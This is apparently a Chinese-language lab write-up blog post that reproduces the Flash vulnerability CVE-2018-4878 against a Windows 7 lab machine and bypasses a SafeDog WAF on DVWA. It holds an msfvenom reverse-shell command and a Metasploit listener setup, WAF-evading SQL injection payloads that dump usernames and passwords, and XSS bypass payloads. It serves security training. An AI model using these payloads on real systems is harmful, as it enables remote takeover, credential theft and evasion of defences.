14-CVE-2018-4878漏洞复现&WAF绕过

1、CVE-2018-4878漏洞复现

  • 环境:

    Kali Linux + Windows 7 sp3
    - 攻击机:Kali Linux
    - 靶机:Windows 7 sp3
    - exp:cve-2018-4878.py
    - flash:flashplayer_activex_28.0.0.137.exe
    
  1. 在kali中使用msfvenom生成漏洞利用代码

    msfvenom -p windows/meterpreter/reverse_tcp lhost=10.0.0.170 lport=4445 -f python>test_shellcode.txt
    
  2. 修改cve-2018-4878.py 文件中的shellcode(刚刚生成的test_shellcode.txt文件内容)及路径

    image-20241216131828205

    image-20241216131913767

  3. 运行python脚本,生成两个文件:exploit.swf、index2.html

    python2 cve-2018-4878.py
    
  4. 开启Apache服务,将生成的两个文件拷贝到apache根目录下

    service apache2 start
    cp /root/CVE-2018-4878-master/* /var/www/html/
    
  5. kali开启监听

    msfconsole
    use exploit/multi/handler 	#使用监听模块
    options
    set payload windows/meterpreter/reverse_tcp
    set lhost 10.0.0.170
    set lport 4445
    run 	#开启监听
    

    image-20241216135045900

  6. win7安装flash

  7. win7使用IE浏览器访问Kali中生成好的 index2.html 页面

    image-20241216135555085

  8. 反弹shell直接拿下meterpreter

    image-20241216135733524

2、实现WAF安装与配置

  • 环境:Win7+phpStudy+安全狗

  • 在小皮中安装DVWA

    1. 一键启动 > WNMP 处设置使用 MySQL+Apache 套件启动Web环境

      image-20241216144020351

    2. 源代码放到网站根目录下

    3. 编辑C:\phpstudy_pro\WWW\DVWA\config\config.inc.php.dist文件(将后缀.dist去除,改为以php结尾)

      image-20241216144643107

    4. 修改配置文件 C:\phpstudy_pro\WWW\DVWA\php.ini

      image-20241216144851766

    5. 运行phpstudy,版本是php7.3.4,启动Apache服务,成功访问DVWA

      image-20241216145324221

    6. 初始化后避免乱码,使用 SQL_Front 工具修改 dvwa 库下的表编码方式为utf8_general_ci

      image-20241216145622005

  • 装安全狗

    1. 关闭apache程序及httpd.exe进程

      image-20241216145931393

    2. 以管理员的身份运行cmd,进入 apache/bin 目录, 执行 .\httpd.exe -k install -n apache2.4.39

      image-20241216150236121

    3. 开启任务管理器>服务中的apache2.4.39 服务

      image-20241216150444512

    4. 成功安装安全狗

      image-20241216150641013

  • 在DVWA的sql注入模块输入1' or 1=1 #测试防护成功

    image-20241216150744517

3、WAF绕过SQL注入

(1)分别在无WAF和有WAF的情况下,利用SQLMap进行注入,对比注入结果的区别

  • 无WAF

    python sqlmap.py -r 1.txt --batch --dbs
    

    爆出版本信息及数据库名称

    image-20241216154550433

  • 有WAF

    python sqlmap.py -r 2.txt --batch --dbs
    

    sqlmap跑出的数据漏洞不全,只能跑出布尔盲注和报错注入,且只能爆出版本信息

    image-20241216155636132

(2)有WAF的情况下,手工注入出DVWA数据库中的user和password

  • 查字段列数,由于order by会被WAF拦截,这里用group by绕过

    1' group by 2#
    
  • 使用正则表达式和内联注释绕过

    -1' regexp "%0A%23"/*!11445union all  %0A select*/ 1,2--+
    

    image-20241216164556095

  • 爆库名-dvwa

    -1' regexp "%0A%23"/*!11445union all  %0A select*/ 1,database(%0A/*!11445*/)--+
    

    image-20241216170042139

  • 爆dvwa库的表名

    -1'  /*!%0aunion*/    /*!--+/*%0aselect*/1,   group_concat(table_name)   from  information_schema.tables  where table_schema='dvwa'--+
    

    image-20241216193111019

  • 爆users表的字段名

    -1'  /*!%0aunion*/    /*!--+/*%0aselect*/1,   group_concat(column_name)   from  information_schema.columns  where  table_name='users' --+
    

    image-20241216193528241

  • 爆user,password具体数据

    -1'  /*!%0aunion*/    /*!--+/*%0aselect*/ user, password from  users --+
    

    image-20241216194434450

4、WAF绕过XSS实验

  • 直接提交<script>alert(1)</script>发现会被WAF拦截

    image-20241217130448737

  • 可以利用base64编码绕过

    <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pgo="
            <!--“PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pgo=”,base64解码后为<script>alert(1)</script> -->
    

    image-20241217132018018

  • 还可以利用svg标签进行绕过

    <svg/onload=alert(2)>
    

    image-20241217131934030

posted @ 2024-12-19 13:44  荔枝在敲诈  阅读(138)  评论(0)    收藏  举报